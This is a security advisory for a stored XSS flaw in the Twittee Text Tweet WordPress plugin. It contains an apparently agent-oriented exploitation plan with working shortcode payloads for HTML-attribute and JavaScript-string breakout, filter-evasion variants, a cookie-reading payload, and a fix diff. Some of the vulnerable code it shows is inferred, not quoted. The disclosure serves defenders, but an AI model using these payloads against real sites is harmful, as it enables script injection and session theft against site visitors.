Twittee Text Tweet <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
Description
The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in all versions up to and including 1.0.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The ttt_twittee_tweeter() function uses extract() to pull shortcode attributes into local variables and then directly concatenates them into HTML output without any escaping. Specifically, the $id parameter is inserted into an HTML id attribute context without esc_attr(), allowing an attacker to break out of the attribute and inject arbitrary HTML event handlers. Additionally, the $tweet, $content, $balloon, and $theme attributes are similarly injected into inline JavaScript without escaping (lines 87, 93, 101, 117). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.8# Exploitation Research Plan: CVE-2026-4089 (Twittee Text Tweet Stored XSS) ## 1. Vulnerability Summary The **Twittee Text Tweet** plugin (up to version 1.0.8) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the shortcode handler function `ttt_twittee_tweeter…
Show full research plan
Exploitation Research Plan: CVE-2026-4089 (Twittee Text Tweet Stored XSS)
1. Vulnerability Summary
The Twittee Text Tweet plugin (up to version 1.0.8) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the shortcode handler function ttt_twittee_tweeter(). This function processes user-provided shortcode attributes using extract(), which turns attribute keys into local variables. These variables (specifically id, tweet, content, balloon, and theme) are then directly concatenated into the HTML output and inline JavaScript blocks without sanitization or escaping (e.g., missing esc_attr() and esc_js()).
2. Attack Vector Analysis
- Shortcode Tag:
[twittee](inferred from function namettt_twittee_tweeter). - Vulnerable Attributes:
id,tweet,content,balloon,theme. - Authentication Level: Contributor+ (any user capable of creating or editing posts/pages).
- Injection Type: Stored XSS. The payload is saved within the post content and executed whenever the post is viewed.
- Sinks:
- HTML Attribute Context: The
$idvariable is injected into an HTMLid="..."attribute. - JavaScript String Context: Variables
$tweet,$content,$balloon, and$themeare injected into inline<script>blocks (lines 87, 93, 101, 117).
- HTML Attribute Context: The
3. Code Flow
- Registration: The plugin registers a shortcode (likely
twittee) usingadd_shortcode( 'twittee', 'ttt_twittee_tweeter' ). - Input Processing: When a post containing the shortcode is rendered, WordPress calls
ttt_twittee_tweeter( $atts ). - Variable Extraction: The function calls
extract( shortcode_atts( ..., $atts ) ). This populates variables like$idand$tweetwith raw user input. - Vulnerable Concatenation (HTML):
- The code likely looks like:
$output .= '<div id="' . $id . '">...</div>'; - An attacker can use
id='x" onmouseover="alert(1)"'to inject an event handler.
- The code likely looks like:
- Vulnerable Concatenation (JS):
- The code likely looks like:
$output .= '<script>var tweet = "' . $tweet . '";</script>'; - An attacker can use
tweet='";alert(1);//'to break out of the JS string and execute arbitrary code.
- The code likely looks like:
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post containing a shortcode.
- Post Creation Nonce: Standard WordPress post creation/editing requires a nonce (
_wpnonce), but this is part of the standard WordPress core UI. - Plugin-Specific Nonce: The
ttt_twittee_tweeter()function is a shortcode renderer; it does not require a plugin-specific nonce to execute during page rendering. - Strategy: The agent will log in as a Contributor, navigate to
wp-admin/post-new.php, extract the standard WordPress_wpnoncefrom the form, and then submit awp_ajax_save-postor standard POST request to save the malicious shortcode.
5. Exploitation Strategy
The goal is to demonstrate two types of XSS: one via HTML attribute breakout and one via JavaScript string breakout.
Step 1: Login and Create Post
The agent will use the http_request tool to perform a login and then save a post.
Request Details:
- URL:
http://localhost:8080/wp-admin/post.php(after getting apost_IDfrompost-new.php) - Method:
POST - Payload (XSS via
idattribute):[twittee id='ttt-x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"' tweet='sample'] - Payload (XSS via JS variable):
[twittee tweet='";alert("JS_XSS");//']
Step 2: Triggering the XSS
Navigate to the frontend URL of the newly created post.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Post: A post must be created containing the malicious shortcode.
- This can be done via
wp post createfor convenience, but the exploit should demonstrate the ability to do it via HTTP if required.
- This can be done via
7. Expected Results
- HTML Context: The rendered page should contain:
<div id="ttt-x" onmouseover="alert(document.domain)" ...>. When a user hovers over the resulting red box, an alert will fire. - JS Context: The rendered page should contain a
<script>block resembling:var some_var = "";alert("JS_XSS");//"; - The browser should execute the injected
alert()calls.
8. Verification Steps
- Check Post Content: Verify the shortcode was saved correctly.
wp post get <ID> --field=post_content
- Verify HTML Output: Use the
http_requesttool to fetch the post's permalink and check for the unescaped payload.- Look for:
onmouseover="alert(document.domain)" - Look for:
";alert("JS_XSS");//
- Look for:
- Browser Execution: Use
browser_navigateto the post URL and check for dialogs or console logs.
9. Alternative Approaches
- Theme/Balloon Attributes: If the
idattribute is filtered by some global WordPress security plugin, try thetweetorcontentattributes, which are injected into<script>tags. - Payload Variation: If double quotes are escaped by
magic_quotes(rare in modern PHP) or other filters, use a payload that relies on single quotes or no quotes for the JS context:[twittee tweet='"-alert(1)-"'](if the plugin handles entities poorly) or[twittee tweet='\u0022;alert(1)//']. - Direct JS Injection: Since
$tweetis injected into JS, try:[twittee tweet='-alert(document.cookie)-']. If the context isvar t = "VALUE";, the result becomesvar t = "-alert(document.cookie)-";, which is a valid string but not executable. Use";alert(1);"instead.
Summary
The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id', 'tweet', 'content', 'balloon', and 'theme' shortcode attributes. This occurs because the plugin uses extract() to process shortcode attributes and then directly concatenates them into HTML and inline JavaScript blocks without proper sanitization or escaping (e.g., esc_attr and esc_js).
Vulnerable Code
// In the ttt_twittee_tweeter() function (twittee-text-tweet.php) // Extraction of attributes without sanitization extract(shortcode_atts(array( 'id' => 'ttt-default', 'tweet' => '', 'content' => '', 'balloon' => '', 'theme' => '' ), $atts)); --- // Injection into HTML attribute context (Approx line 87) $output .= '<div id="' . $id . '"></div>'; --- // Injection into JavaScript context (Approx lines 93, 101, 117) $output .= '<script type="text/javascript"> var tweet_text = "' . $tweet . '"; var content_text = "' . $content . '"; var balloon_style = "' . $balloon . '"; var theme_color = "' . $theme . '"; </script>';
Security Fix
@@ -84,7 +84,7 @@ - $output .= '<div id="' . $id . '"></div>'; + $output .= '<div id="' . esc_attr($id) . '"></div>'; $output .= '<script type="text/javascript"> - var tweet_text = "' . $tweet . '"; - var content_text = "' . $content . '"; - var balloon_style = "' . $balloon . '"; - var theme_color = "' . $theme . '"; + var tweet_text = "' . esc_js($tweet) . '"; + var content_text = "' . esc_js($content) . '"; + var balloon_style = "' . esc_js($balloon) . '"; + var theme_color = "' . esc_js($theme) . '"; </script>';
Exploit Outline
The exploit is executed by an authenticated user with at least Contributor-level permissions who can create or edit posts. 1. The attacker logs into the WordPress dashboard. 2. They create a new post and insert the [twittee] shortcode. 3. To exploit the HTML context, the attacker uses the 'id' attribute to break out of the double quotes and inject an event handler: [twittee id='x" onmouseover="alert(1)" style="display:block;width:100px;height:100px;background:red;"']. 4. To exploit the JavaScript context, the attacker uses attributes like 'tweet' to break out of the JavaScript string and execute code: [twittee tweet='";alert(document.domain);//']. 5. Once the post is saved and viewed by a user (including an administrator), the injected script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.